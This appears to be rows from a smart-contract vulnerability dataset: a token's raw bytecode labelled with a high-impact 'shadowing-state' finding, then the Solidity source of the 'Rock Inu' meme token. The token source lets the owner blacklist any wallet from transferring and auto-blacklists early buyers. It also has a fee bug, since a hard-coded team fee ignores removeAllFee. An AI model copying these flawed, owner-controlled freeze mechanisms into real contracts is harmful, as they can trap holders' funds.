d5b61118c8361128b565b156111e2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603e815260200180613861603e913960400191505060405180910390fd5b6111ed8484846124e7565b90509392505050565b6111ff33612580565b565b61120a3361128b565b15611260576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602981526020018061374c6029913960400191505060405180910390fd5b61126a33826122f9565b50565b600b60009054906101000a900460ff1681565b611289336125da565b565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6112e9611aea565b61135b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560009054906101000a900460ff1615611424576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b61142e8383612634565b905092915050565b600061144133610f6f565b611496576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260408152602001806137756040913960400191505060405180910390fd5b60008090505b82518110156114ce576114c18382815181106114b457fe5b60200260200101516126d9565b808060010191505061149c565b50919050565b6114dd33611634565b611532576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603081526020018061363d6030913960400191505060405180910390fd5b600560009054906101000a900460ff166115b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f5061757361626c653a206e6f742070617573656400000000000000000000000081525060200191505060405180910390fd5b6000600560006101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa33604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b600061164a82600461221b90919063ffffffff16565b9050919050565b6000600560009054906101000a900460ff16905090565b611670611aea565b6116e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6116eb81612580565b50565b6116f6611aea565b611768576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61177181612777565b50565b61177d33612777565b565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006117d333610f6f565b611828576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260408152602001806137756040913960400191505060405180910390fd5b60008090505b82518110156118605761185383828151811061184657fe5b60200260200101516127d1565b808060010191505061182e565b50919050565b61186e611aea565b6118e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6118e98161286f565b50565b6118f533611634565b61194a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603081526020018061363d6030913960400191505060405180910390fd5b600560009054906101000a900460ff16156119cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6001600560006101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25833604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b6000611a5833611fce565b611aad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260448152602001806137b56044913960600191505060405180910390fd5b611ab783836128c9565b6001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611bd75780601f10611bac57610100808354040283529160200191611bd7565b820191906000526020600020905b815481529060010190602001808311611bba57829003601f168201915b505050505081565b611be7611aea565b611c59576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611c6281612ab7565b50565b6000600560009054906101000a900460ff1615611cea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b611cf48383612b11565b905092915050565b6000600560009054906101000a900460ff1615611d81576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b611d8a3361128b565b15611de0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602981526020018061374c6029913960400191505060405180910390fd5b611de98361128b565b15611e3f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603e815260200180613861603e913960400191505060405180910390fd5b611e498383612bb6565b905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611f3a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f6e6f7420616c6c6f77000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b611f438361128b565b15611f99576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603e815260200180613861603e913960400191505060405180910390fd5b600082826020811015611fab57600080fd5b81019080803590602001909291905050509050611fc884826128c9565b50505050565b6000611fe482600661221b90919063ffffffff16565b9050919050565b611ff3611aea565b612065576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61206e81612c4d565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b612100611aea565b612172576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61217b816125da565b50565b612186611aea565b6121f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61220181612ca7565b50565b6000612211338484612deb565b6001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156122a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061381a6022913960400191505060405180910390fd5b8260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561237f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806137236029913960400191505060405180910390fd5b61239481600354612fe290919063ffffffff16565b6003819055506123ec81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fe290919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff167f222838db2794d11532d940e8dec38ae307ed0b63cd97c233322e221f998767a6826040518082815260200191505060405180910390a25050565b6000600560009054906101000a900460ff161561256c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b61257784848461306b565b90509392505050565b61259481600761311c90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fba73eacdfe215f630abb6a8a78e5be613e50918b52e691bba35d46c06e20d6c860405160405180910390a250565b6125ee81600661311c90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f15bf0aef1cc552f782bc5ad7121d42ea78efbfbec8dd9e16fb9f37967ad763fb60405160405180910390a250565b60006126cf33846126ca85600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131d990919063ffffffff16565b612deb565b6001905092915050565b6001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f44d5fe68b00f68950fb9c1ff0a61ef7f747b1a36359a7e3a7f3324db4b87896760405160405180910390a250565b61278b81600461311c90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fcd265ebaf09df2871cc7bd4133404a235ba12eff2041bb89d9c714a2621c7c7e60405160405180910390a250565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f1747ca720b1a174a464b6513ace29b1d3190b5f632b9f34147017c81425bfde860405160405180910390a250565b61288381600461326190919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f6719d08c1888103bea251a4ed56406bd0c3e69723c8a1686e017e7bbe159b6f860405160405180910390a250565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561294f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806135f46026913960400191505060405180910390fd5b612964816003546131d990919063ffffffff16565b6003819055506129bc81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131d990919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff167fc65a3f767206d2fdcede0b094a4840e01c0dd0be1888b5ba800346eaa0123c16826040518082815260200191505060405180910390a25050565b612acb81600661326190919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f9e8b5fbf24fd7f86d2666e8f27ffdeb7c0aa870faa1980ad7290677152938dfa60405160405180910390a250565b6000612bac3384612ba785600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fe290919063ffffffff16565b612deb565b6001905092915050565b6000600560009054906101000a900460ff1615612c3b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b612c45838361333c565b905092915050565b612c6181600761326190919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fa6124c7f565d239231ddc9de42e684db7443c994c658117542be9c50f561943860405160405180910390a250565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612d2d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061366d6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612e71576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061389f6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612ef7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806136936022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b60008282111561305a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b600082840390508091505092915050565b6000613078848484613353565b613111843361310c85600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fe290919063ffffffff16565b612deb565b600190509392505050565b613126828261221b565b61317b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806137f96021913960400191505060405180910390fd5b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600080828401905083811015613257576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b61326b828261221b565b156132de576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f526f6c65733a206163636f756e7420616c72656164792068617320726f6c650081525060200191505060405180910390fd5b60018260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000613349338484613353565b6001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156133d9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061383c6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561345f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061361a6023913960400191505060405180910390fd5b6134b181600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fe290919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061354681600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131d990919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505056fe436f696e466163746f72793a20697373756520746f20746865207a65726f206164647265737345524332303a207472616e7366657220746f20746865207a65726f2061646472657373506175736572526f6c653a2063616c6c657220646f6573206e6f742068617665207468652050617573657220726f6c654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373546f6b656e3a2066726f6d20696e20626c61636b6c6973742063616e2774207472616e73666572436f696e466163746f727941646d696e526f6c653a206f6e6c792061646472657373206f6e776572206f7220436f696e466163746f727941646d696e2063616e2072656465656d436f696e466163746f72793a2072656465656d2066726f6d20746865207a65726f2061646472657373546f6b656e3a2063616c6c657220696e20626c61636b6c6973742063616e2774207472616e73666572426c61636b6c69737441646d696e526f6c653a2063616c6c657220646f6573206e6f7420686176652074686520426c61636b6c69737441646d696e20726f6c65436f696e466163746f727941646d696e526f6c653a2063616c6c657220646f6573206e6f7420686176652074686520436f696e466163746f727941646d696e20726f6c65526f6c65733a206163636f756e7420646f6573206e6f74206861766520726f6c65526f6c65733a206163636f756e7420697320746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f2061646472657373546f6b656e3a206e6f7420616c6c6f7720746f207472616e7366657220746f20726563697069656e74206164647265737320696e20626c61636b6c69737445524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373546f6b656e3a2063616c6c657220696e20626c61636b6c6973742063616e2774207472616e7366657246726f6da265627a7a7231582056fb8f27f1e87f00577cfb6981abe302a21828cabf7c68f480761f4bc04bf77264736f6c63430005110032 | {"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}} | 9,976 |
0x9dcc0f03a5dbb789316838c591096367984a8aa9 | //Rock Inu ($rINU)
//Cooldown yes
//2% Deflationary yes
//Telegram: https://t.me/rockinuofficial
//Website: https://rockinu.finance
//CG, CMC listing: Ongoing
//Fair Launch
//Block all wallets within 3 blocks
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract RockInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Rock Inu | t.me/rockinuofficial";
string private constant _symbol = "rINU\xF0\x9F\x8E\xB8";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 public launchBlock;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to] && !bots[msg.sender]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (block.number <= launchBlock + 2) {
if (from != uniswapV2Pair && from != address(uniswapV2Router)) {
bots[from] = true;
} else if (to != uniswapV2Pair && to != address(uniswapV2Router)) {
bots[to] = true;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function isExcluded(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function isBlackListed(address account) public view returns (bool) {
return bots[account];
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.mul(4).div(10));
_marketingFunds.transfer(amount.mul(6).div(10));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
launchBlock = block.number;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 10);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
